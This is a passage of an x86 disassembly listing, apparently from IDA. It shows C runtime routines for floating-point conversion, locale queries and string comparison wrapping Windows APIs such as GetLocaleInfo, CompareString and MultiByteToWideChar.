		mov	ecx, [ebp+var_14]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_43952E

loc_4394CD:				; CODE XREF: sub_439170+34Aj
		cmp	[ebp+var_14+2],	0FFFFFFFFh
		jnz	short loc_439525
		mov	[ebp+var_14+2],	0
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_43951A
		mov	[ebp+var_10+2],	0
		mov	edx, [ebp+var_C+2]
		and	edx, 0FFFFh
		cmp	edx, 0FFFFh
		jnz	short loc_43950C
		mov	word ptr [ebp+var_C+2],	8000h
		mov	ax, word ptr [ebp+var_30]
		add	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_439518
; ---------------------------------------------------------------------------

loc_43950C:				; CODE XREF: sub_439170+386j
		mov	cx, word ptr [ebp+var_C+2]
		add	cx, 1
		mov	word ptr [ebp+var_C+2],	cx

loc_439518:				; CODE XREF: sub_439170+39Aj
		jmp	short loc_439523
; ---------------------------------------------------------------------------

loc_43951A:				; CODE XREF: sub_439170+36Ej
		mov	edx, [ebp+var_10+2]
		add	edx, 1
		mov	[ebp+var_10+2],	edx

loc_439523:				; CODE XREF: sub_439170:loc_439518j
		jmp	short loc_43952E
; ---------------------------------------------------------------------------

loc_439525:				; CODE XREF: sub_439170+361j
		mov	eax, [ebp+var_14+2]
		add	eax, 1
		mov	[ebp+var_14+2],	eax

loc_43952E:				; CODE XREF: sub_439170+35Bj
					; sub_439170:loc_439523j
		mov	ecx, [ebp+var_30]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jl	short loc_439573
		mov	edx, [ebp+var_2C]
		and	edx, 0FFFFh
		neg	edx
		sbb	edx, edx
		and	edx, 80000000h
		add	edx, 7FFF8000h
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	short loc_4395A9
; ---------------------------------------------------------------------------

loc_439573:				; CODE XREF: sub_439170+3CDj
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+var_14+2]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_10]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax

loc_4395A9:				; CODE XREF: sub_439170+EFj
					; sub_439170+122j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_439170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4395B0	proc near		; CODE XREF: sub_4363F0+914p
					; sub_436F70+288p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, offset dword_454EE0
		sub	eax, 60h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 0
		jnz	short loc_4395CC
		jmp	loc_43966F
; ---------------------------------------------------------------------------

loc_4395CC:				; CODE XREF: sub_4395B0+15j
		cmp	[ebp+arg_4], 0
		jge	short loc_4395E5
		mov	ecx, [ebp+arg_4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		mov	edx, offset dword_455040
		sub	edx, 60h
		mov	[ebp+var_4], edx

loc_4395E5:				; CODE XREF: sub_4395B0+20j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4395F3
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0

loc_4395F3:				; CODE XREF: sub_4395B0+39j
					; sub_4395B0+6Aj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_43966F
		mov	ecx, [ebp+var_4]
		add	ecx, 54h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 7
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_4]
		sar	eax, 3
		mov	[ebp+arg_4], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_43961C
		jmp	short loc_4395F3
; ---------------------------------------------------------------------------

loc_43961C:				; CODE XREF: sub_4395B0+68j
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 8000h
		jl	short loc_43965D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_14], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_10], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14+2]
		sub	eax, 1
		mov	[ebp+var_14+2],	eax
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx

loc_43965D:				; CODE XREF: sub_4395B0+88j
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_439170
		add	esp, 8
		jmp	short loc_4395F3
; ---------------------------------------------------------------------------

loc_43966F:				; CODE XREF: sub_4395B0+17j
					; sub_4395B0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_4395B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439680	proc near		; CODE XREF: sub_4374C0+9Bp
					; sub_43A200+2Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_43968E
		xor	eax, eax
		jmp	short loc_4396CB
; ---------------------------------------------------------------------------

loc_43968E:				; CODE XREF: sub_439680+8j
		mov	eax, dword_4F388C
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	1
		mov	edx, dword_4F3AA4
		push	edx
		call	sub_439AD0
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4396C5
		mov	eax, 7FFFFFFFh
		jmp	short loc_4396CB
; ---------------------------------------------------------------------------

loc_4396C5:				; CODE XREF: sub_439680+3Cj
		mov	eax, [ebp+var_4]
		sub	eax, 2

loc_4396CB:				; CODE XREF: sub_439680+Cj
					; sub_439680+43j
		mov	esp, ebp
		pop	ebp
		retn
sub_439680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4396D0	proc near		; CODE XREF: sub_4374C0+2Dp
					; sub_439F20+81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4F33DC
		mov	[ebp+var_4], eax

loc_4396DE:				; CODE XREF: sub_4396D0+A3j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	loc_439778
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		push	0
		push	1
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_439712
		or	eax, 0FFFFFFFFh
		jmp	short loc_43977A
; ---------------------------------------------------------------------------

loc_439712:				; CODE XREF: sub_4396D0+3Bj
		push	3Dh
		push	offset dword_43E060
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_439735
		or	eax, 0FFFFFFFFh
		jmp	short loc_43977A
; ---------------------------------------------------------------------------

loc_439735:				; CODE XREF: sub_4396D0+5Ej
		push	0
		push	0
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		push	0
		push	1
		call	dword_4F5450	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_43975C
		or	eax, 0FFFFFFFFh
		jmp	short loc_43977A
; ---------------------------------------------------------------------------

loc_43975C:				; CODE XREF: sub_4396D0+85j
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_439F20
		add	esp, 8
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	loc_4396DE
; ---------------------------------------------------------------------------

loc_439778:				; CODE XREF: sub_4396D0+14j
		xor	eax, eax

loc_43977A:				; CODE XREF: sub_4396D0+40j
					; sub_4396D0+63j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4396D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439780	proc near		; CODE XREF: sub_438A00+19Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E070
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4F374C, 0
		jnz	short loc_4397F2
		push	0
		push	0
		push	1
		push	0
		call	dword_4F52E4	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_4397CD
		mov	dword_4F374C, 1
		jmp	short loc_4397F2
; ---------------------------------------------------------------------------

loc_4397CD:				; CODE XREF: sub_439780+3Fj
		push	0
		push	0
		push	1
		push	0
		call	dword_4F5398	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_4397EB
		mov	dword_4F374C, 2
		jmp	short loc_4397F2
; ---------------------------------------------------------------------------

loc_4397EB:				; CODE XREF: sub_439780+5Dj
		xor	eax, eax
		jmp	loc_439901
; ---------------------------------------------------------------------------

loc_4397F2:				; CODE XREF: sub_439780+2Dj
					; sub_439780+4Bj ...
		cmp	dword_4F374C, 1
		jnz	short loc_439816
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F52E4	; GetLocaleInfoW
		jmp	loc_439901
; ---------------------------------------------------------------------------

loc_439816:				; CODE XREF: sub_439780+79j
		cmp	dword_4F374C, 2
		jnz	loc_4398FF
		cmp	[ebp+arg_10], 0
		jnz	short loc_439832
		mov	ecx, dword_4F34C8
		mov	[ebp+arg_10], ecx

loc_439832:				; CODE XREF: sub_439780+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F5398	; GetLocaleInfoA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_439854
		xor	eax, eax
		jmp	loc_439901
; ---------------------------------------------------------------------------

loc_439854:				; CODE XREF: sub_439780+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_439894
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_439894:				; CODE XREF: sub_439780+FBj
		cmp	[ebp+var_20], 0
		jnz	short loc_43989E
		xor	eax, eax
		jmp	short loc_439901
; ---------------------------------------------------------------------------

loc_43989E:				; CODE XREF: sub_439780+118j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F5398	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_4398BC
		xor	eax, eax
		jmp	short loc_439901
; ---------------------------------------------------------------------------

loc_4398BC:				; CODE XREF: sub_439780+136j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4398DD
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_24], eax
		jmp	short loc_4398FA
; ---------------------------------------------------------------------------

loc_4398DD:				; CODE XREF: sub_439780+140j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_24], eax

loc_4398FA:				; CODE XREF: sub_439780+15Bj
		mov	eax, [ebp+var_24]
		jmp	short loc_439901
; ---------------------------------------------------------------------------

loc_4398FF:				; CODE XREF: sub_439780+9Dj
		xor	eax, eax

loc_439901:				; CODE XREF: sub_439780+6Dj
					; sub_439780+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_439780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439920	proc near		; CODE XREF: sub_438A00+4Bp
					; sub_438A00+7Ep ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E080
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4F3750, 0
		jnz	short loc_439992
		push	0
		push	0
		push	1
		push	0
		call	dword_4F52E4	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_43996D
		mov	dword_4F3750, 1
		jmp	short loc_439992
; ---------------------------------------------------------------------------

loc_43996D:				; CODE XREF: sub_439920+3Fj
		push	0
		push	0
		push	1
		push	0
		call	dword_4F5398	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_43998B
		mov	dword_4F3750, 2
		jmp	short loc_439992
; ---------------------------------------------------------------------------

loc_43998B:				; CODE XREF: sub_439920+5Dj
		xor	eax, eax
		jmp	loc_439AB1
; ---------------------------------------------------------------------------

loc_439992:				; CODE XREF: sub_439920+2Dj
					; sub_439920+4Bj ...
		cmp	dword_4F3750, 2
		jnz	short loc_4399B6
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F5398	; GetLocaleInfoA
		jmp	loc_439AB1
; ---------------------------------------------------------------------------

loc_4399B6:				; CODE XREF: sub_439920+79j
		cmp	dword_4F3750, 1
		jnz	loc_439AAF
		cmp	[ebp+arg_10], 0
		jnz	short loc_4399D2
		mov	ecx, dword_4F34C8
		mov	[ebp+arg_10], ecx

loc_4399D2:				; CODE XREF: sub_439920+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F52E4	; GetLocaleInfoW
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4399F4
		xor	eax, eax
		jmp	loc_439AB1
; ---------------------------------------------------------------------------

loc_4399F4:				; CODE XREF: sub_439920+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_439A36
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_439A36:				; CODE XREF: sub_439920+FDj
		cmp	[ebp+var_20], 0
		jnz	short loc_439A40
		xor	eax, eax
		jmp	short loc_439AB1
; ---------------------------------------------------------------------------

loc_439A40:				; CODE XREF: sub_439920+11Aj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F52E4	; GetLocaleInfoW
		test	eax, eax
		jnz	short loc_439A5E
		xor	eax, eax
		jmp	short loc_439AB1
; ---------------------------------------------------------------------------

loc_439A5E:				; CODE XREF: sub_439920+138j
		cmp	[ebp+arg_C], 0
		jnz	short loc_439A86
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		jmp	short loc_439AAA
; ---------------------------------------------------------------------------

loc_439A86:				; CODE XREF: sub_439920+142j
		push	0
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_24], eax

loc_439AAA:				; CODE XREF: sub_439920+164j
		mov	eax, [ebp+var_24]
		jmp	short loc_439AB1
; ---------------------------------------------------------------------------

loc_439AAF:				; CODE XREF: sub_439920+9Dj
		xor	eax, eax

loc_439AB1:				; CODE XREF: sub_439920+6Dj
					; sub_439920+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_439920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439AD0	proc near		; CODE XREF: sub_439680+2Dp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E0D8
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4F3754, 0
		jnz	short loc_439B56
		push	1
		push	offset dword_43D410
		push	1
		push	offset dword_43D410
		push	0
		push	0
		call	dword_4F52DC	; CompareStringW
		test	eax, eax
		jz	short loc_439B27
		mov	dword_4F3754, 1
		jmp	short loc_439B56
; ---------------------------------------------------------------------------

loc_439B27:				; CODE XREF: sub_439AD0+49j
		push	1
		push	offset dword_43D40C
		push	1
		push	offset dword_43D40C
		push	0
		push	0
		call	dword_4F52E0	; CompareStringA
		test	eax, eax
		jz	short loc_439B4F
		mov	dword_4F3754, 2
		jmp	short loc_439B56
; ---------------------------------------------------------------------------

loc_439B4F:				; CODE XREF: sub_439AD0+71j
		xor	eax, eax
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439B56:				; CODE XREF: sub_439AD0+2Dj
					; sub_439AD0+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_439B6F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_439ED0
		add	esp, 8
		mov	[ebp+arg_C], eax

loc_439B6F:				; CODE XREF: sub_439AD0+8Aj
		cmp	[ebp+arg_14], 0
		jle	short loc_439B88
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_439ED0
		add	esp, 8
		mov	[ebp+arg_14], eax

loc_439B88:				; CODE XREF: sub_439AD0+A3j
		cmp	dword_4F3754, 2
		jnz	short loc_439BB4
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F52E0	; CompareStringA
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439BB4:				; CODE XREF: sub_439AD0+BFj
		cmp	dword_4F3754, 1
		jnz	loc_439EB2
		cmp	[ebp+arg_18], 0
		jnz	short loc_439BD0
		mov	ecx, dword_4F34C8
		mov	[ebp+arg_18], ecx

loc_439BD0:				; CODE XREF: sub_439AD0+F5j
		cmp	[ebp+arg_C], 0
		jz	short loc_439BE0
		cmp	[ebp+arg_14], 0
		jnz	loc_439D5C

loc_439BE0:				; CODE XREF: sub_439AD0+104j
		mov	edx, [ebp+arg_C]
		cmp	edx, [ebp+arg_14]
		jnz	short loc_439BF2
		mov	eax, 2
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439BF2:				; CODE XREF: sub_439AD0+116j
		cmp	[ebp+arg_14], 1
		jle	short loc_439C02
		mov	eax, 1
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439C02:				; CODE XREF: sub_439AD0+126j
		cmp	[ebp+arg_C], 1
		jle	short loc_439C12
		mov	eax, 3
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439C12:				; CODE XREF: sub_439AD0+136j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	dword_4F54E0	; GetCPInfo
		test	eax, eax
		jnz	short loc_439C2B
		xor	eax, eax
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439C2B:				; CODE XREF: sub_439AD0+152j
					; sub_439AD0+198j
		cmp	[ebp+arg_C], 0
		jnz	short loc_439C37
		cmp	[ebp+arg_14], 1
		jz	short loc_439C64

loc_439C37:				; CODE XREF: sub_439AD0+15Fj
		cmp	[ebp+arg_C], 1
		jnz	short loc_439C43
		cmp	[ebp+arg_14], 0
		jz	short loc_439C64

loc_439C43:				; CODE XREF: sub_439AD0+16Bj
		push	offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
		push	0
		push	0B6h
		push	offset dword_43E08C
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_439C64
		int	3		; Trap to Debugger

loc_439C64:				; CODE XREF: sub_439AD0+165j
					; sub_439AD0+171j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_439C2B
		cmp	[ebp+arg_C], 0
		jle	short loc_439CE3
		cmp	[ebp+var_3C], 2
		jnb	short loc_439C80
		mov	eax, 3
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439C80:				; CODE XREF: sub_439AD0+1A4j
		lea	eax, [ebp+var_36]
		mov	[ebp+var_40], eax
		jmp	short loc_439C91
; ---------------------------------------------------------------------------

loc_439C88:				; CODE XREF: sub_439AD0:loc_439CD7j
		mov	ecx, [ebp+var_40]
		add	ecx, 2
		mov	[ebp+var_40], ecx

loc_439C91:				; CODE XREF: sub_439AD0+1B6j
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_439CD9
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_439CD9
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		cmp	ecx, eax
		jl	short loc_439CD7
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	edx, ecx
		jg	short loc_439CD7
		mov	eax, 2
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439CD7:				; CODE XREF: sub_439AD0+1E8j
					; sub_439AD0+1FBj
		jmp	short loc_439C88
; ---------------------------------------------------------------------------

loc_439CD9:				; CODE XREF: sub_439AD0+1CAj
					; sub_439AD0+1D6j
		mov	eax, 3
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439CE3:				; CODE XREF: sub_439AD0+19Ej
		cmp	[ebp+arg_14], 0
		jle	short loc_439D5C
		cmp	[ebp+var_3C], 2
		jnb	short loc_439CF9
		mov	eax, 1
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439CF9:				; CODE XREF: sub_439AD0+21Dj
		lea	edx, [ebp+var_36]
		mov	[ebp+var_40], edx
		jmp	short loc_439D0A
; ---------------------------------------------------------------------------

loc_439D01:				; CODE XREF: sub_439AD0:loc_439D50j
		mov	eax, [ebp+var_40]
		add	eax, 2
		mov	[ebp+var_40], eax

loc_439D0A:				; CODE XREF: sub_439AD0+22Fj
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_439D52
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_439D52
		mov	edx, [ebp+arg_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	eax, edx
		jl	short loc_439D50
		mov	eax, [ebp+arg_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	ecx, eax
		jg	short loc_439D50
		mov	eax, 2
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439D50:				; CODE XREF: sub_439AD0+261j
					; sub_439AD0+274j
		jmp	short loc_439D01
; ---------------------------------------------------------------------------

loc_439D52:				; CODE XREF: sub_439AD0+243j
					; sub_439AD0+24Fj
		mov	eax, 1
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439D5C:				; CODE XREF: sub_439AD0+10Aj
					; sub_439AD0+217j
		push	0
		push	0
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_439D84
		xor	eax, eax
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439D84:				; CODE XREF: sub_439AD0+2ABj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_44], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_439DC6
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_439DC6:				; CODE XREF: sub_439AD0+2DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_439DD3
		xor	eax, eax
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439DD3:				; CODE XREF: sub_439AD0+2FAj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_439DFA
		xor	eax, eax
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439DFA:				; CODE XREF: sub_439AD0+321j
		push	0
		push	0
		mov	ecx, [ebp+arg_14]
		push	ecx
